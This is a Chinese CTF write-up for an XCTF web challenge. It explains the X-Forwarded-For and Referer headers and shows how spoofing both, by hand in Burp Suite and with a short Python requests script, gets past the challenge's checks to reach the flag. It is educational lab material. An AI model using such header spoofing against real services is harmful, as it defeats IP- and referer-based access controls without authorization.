关注这个靶场的其它相关笔记:攻防世界(XCTF) —— 靶场笔记合集-CSDN博客
0x01:考点速览
本题考察的是 HTTP 请求包中的两个字段 X-Forwarded-For
和 Referer
的作用:
-
X-Forwarded-For
用于表名发起请求的 IP 地址,以及中间经过的代理服务器的 IP 地址。 -
Referer
字段用于表名我是从哪个页面发起的请求,比如我在http://baidu.com
页面通过点击图片来到了http://image.com
,那么我的 Referer 字段就为Referer: http://baidu.com
。
0x02:Write UP
进入页面,使用 BurpSuite 进行抓包,找到请求的数据包:
为数据包添加X-Forwarded-For
字段,绕过第一层防御:
X-Forwarded-For: 123.123.123.123
他规定了请求的来源必须为https://www.google.com
,我们添加 Referer
字段,绕过第二层防御:
Referer: https://www.google.com
这里笔者因为网络原因,并未接收到返回包,不过按照上述操作已经可以获得 Flag 了,这里笔者再提供一个 Python 代码用来获取本题的 flag:
- import requests
-
- url = "http://61.147.171.105:53458/" # 这里需要改为靶场的 url
- headers = {
- "X-Forwarded-For": "123.123.123.123", # 设置请求头中的 X-Forwarded-For
- "Referer" : "https://www.google.com"
- }
-
- response = requests.get(url=url, headers=headers)
- response.encoding = 'utf-8'
- print(response.text)
0x03:参考资料
Http请求中获取请求的真实的IP地址_从请求头中获取ip地址存入-CSDN博客文章浏览阅读2.5w次,点赞7次,收藏38次。获取客户端IP一、标题网络上常见的请求头1、X-Forwarded-For2、Proxy-Client-IP3、WL- Proxy-Client-IP4、HTTP_CLIENT_IP5、X-Real-IP二、注意事项1、非标准请求头2、不一定存在3、多重代理顺序4、请求头伪造三、代码场景样例一、标题网络上常见的请求头1、X-Forwarded-For这是一个 Squid 开发的字段,只有在通过了 HTTP 代理或者负载均衡服务器时才会添加该项。格式为X-Forwarded-For: client1, _从请求头中获取ip地址存入http://iyenn.com/rec/1646247.html
HTTP请求头中的referer字段-CSDN博客文章浏览阅读1.2w次,点赞10次,收藏25次。文章目录1. HTTP_REFERER定义2. 实例3. referer字段的作用?1. 统计网站请求来源2. 防盗链4. referer为空的情况1. HTTP_REFERER定义HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。简单来说就是当你向一个服务器发起请求的时候,服务器会很好奇,你是从哪里知道它的,因此你需要通过http请求头中的referer字段告_referer字段http://iyenn.com/rec/1646248.html
评论记录:
回复评论: